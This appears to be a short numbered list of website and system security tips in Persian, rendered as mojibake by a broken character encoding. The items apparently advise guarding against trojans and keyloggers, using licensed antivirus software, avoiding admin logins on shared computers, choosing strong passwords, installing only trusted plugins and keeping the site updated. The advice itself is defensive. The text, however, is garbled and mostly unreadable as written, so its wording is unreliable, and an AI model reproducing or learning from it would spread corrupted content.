 زاقتٗ ؾیؿتٓ ؾبِٓ ٚ آِٛزٜ ٘جٛزٖ ثٝ ٚیطٚؼ ٞبی ٔب٘ٙس تطٚجبٖ )ویلاٌط( وٝ ٔؼٕٛلا تٛؾٍ ٞىطاٖ ثطای قٕب اضؾبَ ذٛاٞس قس..3

 زاقتٗ آ٘تی ٚیطٚؼ لایؿٙؽ زاض ثطای جٌّٛیطی اظ آِٛزٜ قسٖ ؾیؿتٓ..4

 اؾتفبزٜ ٘ىطزٖ اظ یٛظض ٚ پؿٛضز ٔسیطیت زض وبفی ٘ت ٚ زض ؾیؿتٓ ٞبی غیط قرهی..5

 زاقتٗ پؿٛضزی ثٝ تؼساز وّٕبت ٚ اػساز ٚ اقىبَ ثطای جٌّٛیطی اظ وطن..6

ٚض ٔتٛجٝ اػتٕبز ٘ىطزٖ ثٝ ٞط فطز ٚ زازٖ ٔسیطیت  پُٙ ٔسیطیتی ثٝ آ٘بٖ )چٖٛ ثب آپّٛز یه فبیُ زض ٔیبٖ فبیّٟبی ٚثؿبیت, تب ظٔب٘ی وٝ ؾط.7
 ٘كس زؾتطؾی ذٛاٞٙس زاقت(.

 ٘هت ٘ىطزٖ پلاٌیٗ ٞبیی وٝ ٔٛضز اػتٕبز قطوت اضائٝ زٞٙسٜ ؾیؿتٓ ٘یؿت..8

 آپسیت ٕٞیكٍی ٔسیطیت ثب ٘ؿرٝ ٞبی جسیستط..9

...ٚ 
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